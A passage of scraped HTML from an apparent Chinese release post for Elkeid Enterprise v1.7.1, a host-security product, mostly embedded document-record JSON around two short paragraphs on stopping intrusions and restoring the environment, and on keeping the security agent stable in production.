34;,&#34;folded&#34;:false}},&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;:{&#34;id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;page&#34;,&#34;parent_id&#34;:&#34;&#34;,&#34;comments&#34;:null,&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[&#34;doxcnimIyUMwy0KgIMlgBMMqnmg&#34;,&#34;doxcnYWEkWieecwsskRvTNl7KKh&#34;,&#34;doxcnuoeC2gwwicm2Gyx8DyVoAc&#34;,&#34;doxcnismKECwi822Qea1XkQEHHf&#34;,&#34;doxcnEmEE6EYmAw2ewjDhumikHe&#34;,&#34;doxcnUIUIIK68YMeqUfvqDwoS8L&#34;,&#34;doxcnEiYK6uQOMae6QHeZQ2fanf&#34;,&#34;doxcnSM4WaKOAsE6kUV37FxgLKb&#34;,&#34;doxcns46sOECGUIgCgfTCAjRRWh&#34;,&#34;doxcnsoGY6esKsWS2k9VWZkwJbc&#34;,&#34;doxcnSYK8MqS2y2WwQTAiJSsW1c&#34;,&#34;doxcno0m82ooum2UMOoU4hQhVFb&#34;,&#34;doxcnWEmEuqk6umAK6Fku9uTlPb&#34;,&#34;doxcnsYSk4yAuIEG8ELbtQguxcg&#34;,&#34;doxcnS2oywUoi2Cesi02VNinzSh&#34;,&#34;doxcnyE0mkYO6s6Qs8avlDPVepc&#34;,&#34;doxcnsmw4soOAkwesWNe5wFO363&#34;,&#34;doxcnUaIqYkGm2Y0yYBVjSj7UJe&#34;,&#34;doxcngaQUQeqGssEY4PEyanFFjh&#34;,&#34;doxcnamUq82cUUmaaU19HpnlMEg&#34;,&#34;doxcnqScq0gUaMkgoe6aEIrj7Xf&#34;,&#34;doxcnuKikuAUWYq4qwDbPxqXRFd&#34;,&#34;doxcneqUe0eg4OCA0WysAWxrN2c&#34;,&#34;doxcnyQSSCaYGQaISOSgqrTclPe&#34;,&#34;doxcnOce08EW64M68WopStcgi2g&#34;,&#34;doxcnKS66wkuOucYUwrlLG0Pt4B&#34;,&#34;doxcnIA62amaCSYQwism5e5KWwc&#34;,&#34;doxcnUqOiWyyYOCSwSEC41wN0lh&#34;,&#34;doxcnE2gc0IKym4qCgtCCC7bhUc&#34;,&#34;doxcnCeSOsMayCOewc7YhHMC4RH&#34;,&#34;doxcnya6gSq0siugQSOvMvFjUkg&#34;,&#34;doxcnw20MKQEiSMeYUBafjPlFDf&#34;,&#34;doxcn228GgQgEyOKS25ZX1KvPNd&#34;,&#34;doxcnkuU2kiYAGgWI6ZTDJ1ZX6e&#34;,&#34;doxcn6EwQo4SM6MAUS6Ku7HZ9Mb&#34;,&#34;doxcn6yY8QqMMeqaECWHCTAWMbb&#34;,&#34;doxcnGuYQSoeqA6Y8aIpbXph1Dh&#34;,&#34;doxcnGYqYsS0cmCuCGCI0KAEtye&#34;,&#34;doxcn4C0e6WMeuaawstFUL9WwDd&#34;,&#34;doxcnUEKw4uUsiugWqm6ysrKcng&#34;,&#34;doxcnOIukkcykQeSuKMesBiXbtd&#34;,&#34;doxcn2Ss4q8KSKkGos1c18fcuab&#34;,&#34;doxcnOGwcuC2kaoAQKSzFiGqkQe&#34;,&#34;doxcngqckmKSKwkkOWwnP495s7f&#34;,&#34;doxcnu2KuuYuoMEAW6MyckAprph&#34;,&#34;doxcnYQuQIieegmmIczmKPCuaXe&#34;,&#34;doxcnwuwOYWiaeYqOQ3wIzwGDxb&#34;,&#34;doxcnaeAGoUuo2qKwYRFadTnhoe&#34;,&#34;doxcngeI8oaCowU6cE3O2W8XSCg&#34;,&#34;doxcnWs80Osgs84kG6xDkTUXBiw&#34;,&#34;doxcnqAIkIsCi4UKmkGDFcjJxSO&#34;,&#34;doxcnSyYOsQsS6cuEAJHfeoaH0e&#34;,&#34;doxcnYCoUG4gYsMSeIXX0kwrH9b&#34;,&#34;doxcnk8qoUC6CMWSWamMdxsY63d&#34;,&#34;doxcneOmOSeKoq2QWCusI9MiQeY&#34;,&#34;doxcnskAi662Qcu00UV4EulYXug&#34;,&#34;doxcnk4QkQYAeewsQcDIDD4nI3c&#34;,&#34;doxcnQWWAmA0K2G2AUDbp5lJsFf&#34;,&#34;doxcn4WYEqKOmkCWqKoELHTv2Tc&#34;,&#34;doxcnMaM6kqWY4AQYYueGeFQOhb&#34;,&#34;doxcnuEuU2Ma0Qi62knD1IPqbTb&#34;,&#34;doxcniIouugS2smek2tOhjz6Xvd&#34;,&#34;doxcng8aKGogOgAAsAEj5NGlljb&#34;,&#34;doxcn8aegCiWoUGC6Omc5d2gLNh&#34;,&#34;doxcnSQkeOSqqqAqeS4DGhNwUHe&#34;,&#34;doxcnk0cOqgos8kegQdT3EjNKEf&#34;,&#34;doxcngkkekuqMIsskuq349gwq4f&#34;,&#34;doxcnyacaEcGSoaecghSjsVfHZg&#34;,&#34;doxcnIKAA0EKSwiuou625btmqOh&#34;,&#34;doxcnS4aCkYqgwEeeSOfMyqsj5f&#34;,&#34;doxcnw6mQkIMuwYuSYLaAYVlBje&#34;,&#34;doxcnguKAkCWeCUgym28mOdjHmd&#34;,&#34;doxcnGuqQwgkY2yecGB6SlGWK56&#34;,&#34;doxcnckuKWowYIeAa8vDdj4QHod&#34;,&#34;doxcno8M04aE2KOQMK45nEJFqlh&#34;,&#34;doxcneMkIOUY8U6uO475Z0q9hIh&#34;,&#34;doxcnkOUugassuKI6OUhPaVIIVd&#34;,&#34;doxcnAOGiQussWs8wst5jWnjTnd&#34;,&#34;doxcn4M0MSkuy4iKg8XpHNt3nXc&#34;,&#34;doxcnQW6M80m8cAsqu8txyRBmeh&#34;,&#34;doxcnKSYKQW8G8iEoEbpsO10wpf&#34;,&#34;doxcn8Ok20YEUscI4Ih1ZhVYJRf&#34;,&#34;doxcn6yggsECioyKOcdrZDxJfve&#34;,&#34;doxcnK6wG6KmUS2gqULJPgWD0Re&#34;,&#34;doxcnyM06ym60MqOA3vYXTYP4kN&#34;,&#34;doxcnGayaSaugwAqC6xZrw1Qc9b&#34;,&#34;doxcn00ks8kYcKEWKQFZJxA5HLd&#34;,&#34;doxcnEAAyksuWSKEoQDWBPMUvPb&#34;,&#34;doxcnqmw4OUsKkIAkeSLorCrMGg&#34;,&#34;doxcn8wek4Uk0MSu2iIA6qOaCu1&#34;,&#34;doxcnykqKs862AuicyQTt8wfxpe&#34;,&#34;doxcnk8MYuIOA8u22sltgqnXG8d&#34;,&#34;doxcnOq2oue8Ue00gCqGl6Ff7Yf&#34;,&#34;doxcn6Uma22EyMWSweCWqa7XKeb&#34;,&#34;doxcnWomma8Eou8UWIHEJWpK9Lg&#34;,&#34;doxcniOGeEqiMia6cW88TkyF3Hg&#34;,&#34;doxcnkmqqeucuKY0YupBxfhzTLS&#34;,&#34;doxcngKUkUcAyImQW6lBR4puF1e&#34;,&#34;doxcnkk0OauwEsYc2MRaIOcJoog&#34;,&#34;doxcnGkqoIuIOUaWgumFTZROXjg&#34;,&#34;doxcniiGsio8k2ySQi0E5YKvLPf&#34;,&#34;doxcnKuSq4WYKGsekSoYupo13yd&#34;,&#34;doxcnaW8QKICAYUGwYNNQctvHNf&#34;,&#34;doxcnm8OQ0IiG64EOqmIIIuKVwf&#34;,&#34;doxcn8E0mUkGKUW62SMQWpQxJld&#34;,&#34;doxcn88yEa0YAAyWMUlOzEjmOVg&#34;,&#34;doxcneQ0COIcKuu6sMvVrc7aqHh&#34;,&#34;doxcnGwC2EuwgKcK8iErEQPvRkc&#34;,&#34;doxcn0KyacsygMCCayWokepIVSU&#34;,&#34;doxcn4qq0A2qGGqUA4j8jax1Pqh&#34;,&#34;doxcnmIkUee2ICGqmyTuxbNIWD5&#34;,&#34;doxcnW4qwKCwS8oOSQx9DPMfL3b&#34;,&#34;doxcnGcyAkMCwMecc9UwLYXmdmj&#34;,&#34;doxcn8AiO0Om6AUKAOYZmCQ2gAd&#34;,&#34;doxcn88qWWYsAMA2guOxuw06ZGf&#34;,&#34;doxcnM2g4is2G80yUmmrYPiBkme&#34;,&#34;doxcne4KkG4Ak6GgwGKD4uvkrcb&#34;,&#34;doxcnGCuiO2wwmQAmusMd9Oeksh&#34;,&#34;doxcnIYcw8OoaA2cEGiy0KH8Kcb&#34;,&#34;doxcnAiIk6OC82ioWGGkNvWQ79f&#34;,&#34;doxcn0Ww04600kcymmcYouLHWXf&#34;,&#34;doxcnuGugGYcC2kIy0O7yOOiC6c&#34;,&#34;doxcn4k6iWyMq6amSo69JmwMYsC&#34;,&#34;doxcnKyemGSA4y26s8YknN7oHIc&#34;,&#34;doxcnQoMe8uaaWK0IYnE0YVnfKh&#34;,&#34;doxcnmuYIesuwKwioK20kzxejud&#34;,&#34;doxcnwwAogcSQKwWgo12deM7mWb&#34;,&#34;doxcnWuEeO6Ii2Ewm6YyhMRk00g&#34;,&#34;doxcny4uwWkqaKEgOwl0INTfyyh&#34;,&#34;doxcn4qQCAKOUaeGqolGoYRAuXc&#34;,&#34;doxcnC8au0McQEOkKUJAQTOVksf&#34;,&#34;doxcnem2Was2GWgoa4rSlDkQXGf&#34;,&#34;doxcnsg8geAoomiSUY52o105Dte&#34;,&#34;doxcnouW8IuE82OecwNyPimMiYb&#34;,&#34;doxcnOcGKqiw0KmcmEEVz9kDhHI&#34;,&#34;doxcnYayAWaOSUISwU9DnLVUFwg&#34;,&#34;doxcnQAG4WKck8Eq0KOFuvXcWHg&#34;,&#34;doxcnuGCisiSs4KgcIBn4AbinVb&#34;,&#34;doxcnAWk8M2ASeseW4spZIUadzb&#34;,&#34;doxcnuyqYmoOKgCaccMxEEdamtb&#34;,&#34;doxcnQWSeUiocISOKJCiDp4kZH0&#34;,&#34;doxcn2IWgsIcW0Ys2c1e6IyVrBd&#34;,&#34;doxcnAaWwOykqs2OIfGVcLPpXld&#34;,&#34;doxcn2UI4a8uyqaOccFDrl6J7gh&#34;,&#34;doxcnGY4oIeww0o4SyIb2pS7yLb&#34;,&#34;doxcnqS68K8Qg0uqCsvsOm9qDRh&#34;,&#34;doxcnQug6KisGmM6iQ9wKMsF3Yd&#34;,&#34;doxcnyMSgca84QeWsGg3BNTVFxc&#34;,&#34;doxcnuA4K6s8QU820Jqe5Ff6LzI&#34;,&#34;doxcnU64mwMQmgiQgymCUEotNJg&#34;,&#34;doxcnesoa06Ic4iGOu4hN1ipkif&#34;,&#34;doxcnMyE2W88wcwA0WzBM2oMY6B&#34;,&#34;doxcnOuIUAiwAws44k7H9Tl5uhf&#34;,&#34;doxcnQkWiGSUy6S6eg0PEpRWLqF&#34;,&#34;doxcn66CeY8GQag6021RTPUniPh&#34;,&#34;doxcnGEkKMwAA4skW6YMGzR9Ebh&#34;,&#34;doxcn6GqOcwGKoWwmK4Hxh9RYHt&#34;,&#34;doxcneucsyAOEuweekRe6rSeoic&#34;,&#34;doxcnSkcaAWeIiOQCsH08XMIT5b&#34;,&#34;doxcnWsKEKgeoWk4kcdJrGpvLNg&#34;,&#34;doxcnW2OOIw4iaEk6QkBx0HEtf9&#34;],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+m&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;Elkeid 企业版 v1.7.1 正式发布&#34;}}},&#34;align&#34;:&#34;&#34;}}},&#34;isRecordModified&#34;:false,&#34;payloadMap&#34;:{&#34;doxcnsYSk4yAuIEG8ELbtQguxcg&#34;:{&#34;level&#34;:1}},&#34;extra&#34;:{&#34;mention_page_title&#34;:{},&#34;external_mention_url&#34;:{}}}" data-lark-record-format="docx/record"></span></p><ul start="1" class="list-paddingleft-1"><li><p><strong>止损/环境恢复</strong></p></li></ul><p>当入侵发生了，我们希望可以有具备有效的手段中止入侵行为，如果可以进行环境恢复来缓解入侵带来的影响那应该是更好的。</p><p><span data-lark-record-data="{&#34;isCut&#34;:false,&#34;pasteFlag&#34;:&#34;2437f651-effc-4822-8593-afcac3cc3992&#34;,&#34;rootId&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;parentId&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;start&#34;:14,&#34;end&#34;:15,&#34;blockIds&#34;:[16,17],&#34;recordIds&#34;:[&#34;doxcnS2oywUoi2Cesi02VNinzSh&#34;,&#34;doxcnyE0mkYO6s6Qs8avlDPVepc&#34;],&#34;recordMap&#34;:{&#34;doxcnS2oywUoi2Cesi02VNinzSh&#34;:{&#34;id&#34;:&#34;doxcnS2oywUoi2Cesi02VNinzSh&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;bullet&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:2,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;bold&#34;,&#34;true&#34;],&#34;1&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*1*0+7&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;止损/环境恢复&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnyE0mkYO6s6Qs8avlDPVepc&#34;:{&#34;id&#34;:&#34;doxcnyE0mkYO6s6Qs8avlDPVepc&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;text&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+1k&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;当入侵发生了，我们希望可以有具备有效的手段中止入侵行为，如果可以进行环境恢复来缓解入侵带来的影响那应该是更好的。&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;:{&#34;id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;page&#34;,&#34;parent_id&#34;:&#34;&#34;,&#34;comments&#34;:null,&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[&#34;doxcnimIyUMwy0KgIMlgBMMqnmg&#34;,&#34;doxcnYWEkWieecwsskRvTNl7KKh&#34;,&#34;doxcnuoeC2gwwicm2Gyx8DyVoAc&#34;,&#34;doxcnismKECwi822Qea1XkQEHHf&#34;,&#34;doxcnEmEE6EYmAw2ewjDhumikHe&#34;,&#34;doxcnUIUIIK68YMeqUfvqDwoS8L&#34;,&#34;doxcnEiYK6uQOMae6QHeZQ2fanf&#34;,&#34;doxcnSM4WaKOAsE6kUV37FxgLKb&#34;,&#34;doxcns46sOECGUIgCgfTCAjRRWh&#34;,&#34;doxcnsoGY6esKsWS2k9VWZkwJbc&#34;,&#34;doxcnSYK8MqS2y2WwQTAiJSsW1c&#34;,&#34;doxcno0m82ooum2UMOoU4hQhVFb&#34;,&#34;doxcnWEmEuqk6umAK6Fku9uTlPb&#34;,&#34;doxcnsYSk4yAuIEG8ELbtQguxcg&#34;,&#34;doxcnS2oywUoi2Cesi02VNinzSh&#34;,&#34;doxcnyE0mkYO6s6Qs8avlDPVepc&#34;,&#34;doxcnsmw4soOAkwesWNe5wFO363&#34;,&#34;doxcnUaIqYkGm2Y0yYBVjSj7UJe&#34;,&#34;doxcngaQUQeqGssEY4PEyanFFjh&#34;,&#34;doxcnamUq82cUUmaaU19HpnlMEg&#34;,&#34;doxcnqScq0gUaMkgoe6aEIrj7Xf&#34;,&#34;doxcnuKikuAUWYq4qwDbPxqXRFd&#34;,&#34;doxcneqUe0eg4OCA0WysAWxrN2c&#34;,&#34;doxcnyQSSCaYGQaISOSgqrTclPe&#34;,&#34;doxcnOce08EW64M68WopStcgi2g&#34;,&#34;doxcnKS66wkuOucYUwrlLG0Pt4B&#34;,&#34;doxcnIA62amaCSYQwism5e5KWwc&#34;,&#34;doxcnUqOiWyyYOCSwSEC41wN0lh&#34;,&#34;doxcnE2gc0IKym4qCgtCCC7bhUc&#34;,&#34;doxcnCeSOsMayCOewc7YhHMC4RH&#34;,&#34;doxcnya6gSq0siugQSOvMvFjUkg&#34;,&#34;doxcnw20MKQEiSMeYUBafjPlFDf&#34;,&#34;doxcn228GgQgEyOKS25ZX1KvPNd&#34;,&#34;doxcnkuU2kiYAGgWI6ZTDJ1ZX6e&#34;,&#34;doxcn6EwQo4SM6MAUS6Ku7HZ9Mb&#34;,&#34;doxcn6yY8QqMMeqaECWHCTAWMbb&#34;,&#34;doxcnGuYQSoeqA6Y8aIpbXph1Dh&#34;,&#34;doxcnGYqYsS0cmCuCGCI0KAEtye&#34;,&#34;doxcn4C0e6WMeuaawstFUL9WwDd&#34;,&#34;doxcnUEKw4uUsiugWqm6ysrKcng&#34;,&#34;doxcnOIukkcykQeSuKMesBiXbtd&#34;,&#34;doxcn2Ss4q8KSKkGos1c18fcuab&#34;,&#34;doxcnOGwcuC2kaoAQKSzFiGqkQe&#34;,&#34;doxcngqckmKSKwkkOWwnP495s7f&#34;,&#34;doxcnu2KuuYuoMEAW6MyckAprph&#34;,&#34;doxcnYQuQIieegmmIczmKPCuaXe&#34;,&#34;doxcnwuwOYWiaeYqOQ3wIzwGDxb&#34;,&#34;doxcnaeAGoUuo2qKwYRFadTnhoe&#34;,&#34;doxcngeI8oaCowU6cE3O2W8XSCg&#34;,&#34;doxcnWs80Osgs84kG6xDkTUXBiw&#34;,&#34;doxcnqAIkIsCi4UKmkGDFcjJxSO&#34;,&#34;doxcnSyYOsQsS6cuEAJHfeoaH0e&#34;,&#34;doxcnYCoUG4gYsMSeIXX0kwrH9b&#34;,&#34;doxcnk8qoUC6CMWSWamMdxsY63d&#34;,&#34;doxcneOmOSeKoq2QWCusI9MiQeY&#34;,&#34;doxcnskAi662Qcu00UV4EulYXug&#34;,&#34;doxcnk4QkQYAeewsQcDIDD4nI3c&#34;,&#34;doxcnQWWAmA0K2G2AUDbp5lJsFf&#34;,&#34;doxcn4WYEqKOmkCWqKoELHTv2Tc&#34;,&#34;doxcnMaM6kqWY4AQYYueGeFQOhb&#34;,&#34;doxcnuEuU2Ma0Qi62knD1IPqbTb&#34;,&#34;doxcniIouugS2smek2tOhjz6Xvd&#34;,&#34;doxcng8aKGogOgAAsAEj5NGlljb&#34;,&#34;doxcn8aegCiWoUGC6Omc5d2gLNh&#34;,&#34;doxcnSQkeOSqqqAqeS4DGhNwUHe&#34;,&#34;doxcnk0cOqgos8kegQdT3EjNKEf&#34;,&#34;doxcngkkekuqMIsskuq349gwq4f&#34;,&#34;doxcnyacaEcGSoaecghSjsVfHZg&#34;,&#34;doxcnIKAA0EKSwiuou625btmqOh&#34;,&#34;doxcnS4aCkYqgwEeeSOfMyqsj5f&#34;,&#34;doxcnw6mQkIMuwYuSYLaAYVlBje&#34;,&#34;doxcnguKAkCWeCUgym28mOdjHmd&#34;,&#34;doxcnGuqQwgkY2yecGB6SlGWK56&#34;,&#34;doxcnckuKWowYIeAa8vDdj4QHod&#34;,&#34;doxcno8M04aE2KOQMK45nEJFqlh&#34;,&#34;doxcneMkIOUY8U6uO475Z0q9hIh&#34;,&#34;doxcnkOUugassuKI6OUhPaVIIVd&#34;,&#34;doxcnAOGiQussWs8wst5jWnjTnd&#34;,&#34;doxcn4M0MSkuy4iKg8XpHNt3nXc&#34;,&#34;doxcnQW6M80m8cAsqu8txyRBmeh&#34;,&#34;doxcnKSYKQW8G8iEoEbpsO10wpf&#34;,&#34;doxcn8Ok20YEUscI4Ih1ZhVYJRf&#34;,&#34;doxcn6yggsECioyKOcdrZDxJfve&#34;,&#34;doxcnK6wG6KmUS2gqULJPgWD0Re&#34;,&#34;doxcnyM06ym60MqOA3vYXTYP4kN&#34;,&#34;doxcnGayaSaugwAqC6xZrw1Qc9b&#34;,&#34;doxcn00ks8kYcKEWKQFZJxA5HLd&#34;,&#34;doxcnEAAyksuWSKEoQDWBPMUvPb&#34;,&#34;doxcnqmw4OUsKkIAkeSLorCrMGg&#34;,&#34;doxcn8wek4Uk0MSu2iIA6qOaCu1&#34;,&#34;doxcnykqKs862AuicyQTt8wfxpe&#34;,&#34;doxcnk8MYuIOA8u22sltgqnXG8d&#34;,&#34;doxcnOq2oue8Ue00gCqGl6Ff7Yf&#34;,&#34;doxcn6Uma22EyMWSweCWqa7XKeb&#34;,&#34;doxcnWomma8Eou8UWIHEJWpK9Lg&#34;,&#34;doxcniOGeEqiMia6cW88TkyF3Hg&#34;,&#34;doxcnkmqqeucuKY0YupBxfhzTLS&#34;,&#34;doxcngKUkUcAyImQW6lBR4puF1e&#34;,&#34;doxcnkk0OauwEsYc2MRaIOcJoog&#34;,&#34;doxcnGkqoIuIOUaWgumFTZROXjg&#34;,&#34;doxcniiGsio8k2ySQi0E5YKvLPf&#34;,&#34;doxcnKuSq4WYKGsekSoYupo13yd&#34;,&#34;doxcnaW8QKICAYUGwYNNQctvHNf&#34;,&#34;doxcnm8OQ0IiG64EOqmIIIuKVwf&#34;,&#34;doxcn8E0mUkGKUW62SMQWpQxJld&#34;,&#34;doxcn88yEa0YAAyWMUlOzEjmOVg&#34;,&#34;doxcneQ0COIcKuu6sMvVrc7aqHh&#34;,&#34;doxcnGwC2EuwgKcK8iErEQPvRkc&#34;,&#34;doxcn0KyacsygMCCayWokepIVSU&#34;,&#34;doxcn4qq0A2qGGqUA4j8jax1Pqh&#34;,&#34;doxcnmIkUee2ICGqmyTuxbNIWD5&#34;,&#34;doxcnW4qwKCwS8oOSQx9DPMfL3b&#34;,&#34;doxcnGcyAkMCwMecc9UwLYXmdmj&#34;,&#34;doxcn8AiO0Om6AUKAOYZmCQ2gAd&#34;,&#34;doxcn88qWWYsAMA2guOxuw06ZGf&#34;,&#34;doxcnM2g4is2G80yUmmrYPiBkme&#34;,&#34;doxcne4KkG4Ak6GgwGKD4uvkrcb&#34;,&#34;doxcnGCuiO2wwmQAmusMd9Oeksh&#34;,&#34;doxcnIYcw8OoaA2cEGiy0KH8Kcb&#34;,&#34;doxcnAiIk6OC82ioWGGkNvWQ79f&#34;,&#34;doxcn0Ww04600kcymmcYouLHWXf&#34;,&#34;doxcnuGugGYcC2kIy0O7yOOiC6c&#34;,&#34;doxcn4k6iWyMq6amSo69JmwMYsC&#34;,&#34;doxcnKyemGSA4y26s8YknN7oHIc&#34;,&#34;doxcnQoMe8uaaWK0IYnE0YVnfKh&#34;,&#34;doxcnmuYIesuwKwioK20kzxejud&#34;,&#34;doxcnwwAogcSQKwWgo12deM7mWb&#34;,&#34;doxcnWuEeO6Ii2Ewm6YyhMRk00g&#34;,&#34;doxcny4uwWkqaKEgOwl0INTfyyh&#34;,&#34;doxcn4qQCAKOUaeGqolGoYRAuXc&#34;,&#34;doxcnC8au0McQEOkKUJAQTOVksf&#34;,&#34;doxcnem2Was2GWgoa4rSlDkQXGf&#34;,&#34;doxcnsg8geAoomiSUY52o105Dte&#34;,&#34;doxcnouW8IuE82OecwNyPimMiYb&#34;,&#34;doxcnOcGKqiw0KmcmEEVz9kDhHI&#34;,&#34;doxcnYayAWaOSUISwU9DnLVUFwg&#34;,&#34;doxcnQAG4WKck8Eq0KOFuvXcWHg&#34;,&#34;doxcnuGCisiSs4KgcIBn4AbinVb&#34;,&#34;doxcnAWk8M2ASeseW4spZIUadzb&#34;,&#34;doxcnuyqYmoOKgCaccMxEEdamtb&#34;,&#34;doxcnQWSeUiocISOKJCiDp4kZH0&#34;,&#34;doxcn2IWgsIcW0Ys2c1e6IyVrBd&#34;,&#34;doxcnAaWwOykqs2OIfGVcLPpXld&#34;,&#34;doxcn2UI4a8uyqaOccFDrl6J7gh&#34;,&#34;doxcnGY4oIeww0o4SyIb2pS7yLb&#34;,&#34;doxcnqS68K8Qg0uqCsvsOm9qDRh&#34;,&#34;doxcnQug6KisGmM6iQ9wKMsF3Yd&#34;,&#34;doxcnyMSgca84QeWsGg3BNTVFxc&#34;,&#34;doxcnuA4K6s8QU820Jqe5Ff6LzI&#34;,&#34;doxcnU64mwMQmgiQgymCUEotNJg&#34;,&#34;doxcnesoa06Ic4iGOu4hN1ipkif&#34;,&#34;doxcnMyE2W88wcwA0WzBM2oMY6B&#34;,&#34;doxcnOuIUAiwAws44k7H9Tl5uhf&#34;,&#34;doxcnQkWiGSUy6S6eg0PEpRWLqF&#34;,&#34;doxcn66CeY8GQag6021RTPUniPh&#34;,&#34;doxcnGEkKMwAA4skW6YMGzR9Ebh&#34;,&#34;doxcn6GqOcwGKoWwmK4Hxh9RYHt&#34;,&#34;doxcneucsyAOEuweekRe6rSeoic&#34;,&#34;doxcnSkcaAWeIiOQCsH08XMIT5b&#34;,&#34;doxcnWsKEKgeoWk4kcdJrGpvLNg&#34;,&#34;doxcnW2OOIw4iaEk6QkBx0HEtf9&#34;],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+m&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;Elkeid 企业版 v1.7.1 正式发布&#34;}}},&#34;align&#34;:&#34;&#34;}}},&#34;isRecordModified&#34;:false,&#34;payloadMap&#34;:{&#34;doxcnyE0mkYO6s6Qs8avlDPVepc&#34;:{&#34;level&#34;:1}},&#34;extra&#34;:{&#34;mention_page_title&#34;:{},&#34;external_mention_url&#34;:{}}}" data-lark-record-format="docx/record"></span></p><ul start="1" class="list-paddingleft-1"><li><p><strong>稳定性需求</strong></p></li></ul><p>安全很重要，但不能因为安全影响业务。因此针对需要在生产环境服务器内部署 Agent 的主机安全产品来说，稳定性，对业务的性能影响也是至关重要的。</p><p><span data-lark-record-data="{&#34;isCut&#34;:false,&#34;pasteFlag&#34;:&#34;2437f651-effc-4822-8593-afcac3cc3992&#34;,&#34;rootId&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;parentId&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;start&#34;:16,&#34;end&#34;:17,&#34;blockIds&#34;:[18,19],&#34;recordIds&#34;:[&#34;doxcnsmw4soOAkwesWNe5wFO363&#34;,&#34;doxcnUaIqYkGm2Y0yYBVjSj7UJe&#34;],&#34;recordMap&#34;:{&#34;doxcnsmw4soOAkwesWNe5wFO363&#34;:{&#34;id&#34;:&#34;doxcnsmw4soOAkwesWNe5wFO363&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;bullet&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:2,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;bold&#34;,&#34;true&#34;],&#34;1&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*1*0+5&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;稳定性需求&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnUaIqYkGm2Y0yYBVjSj7UJe&#34;:{&#34;id&#34;:&#34;doxcnUaIqYkGm2Y0yYBVjSj7UJe&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;text&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+20&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;安全很重要，但不能因为安全影响业务。因此针对需要在生产环境服务器内部署 Agent 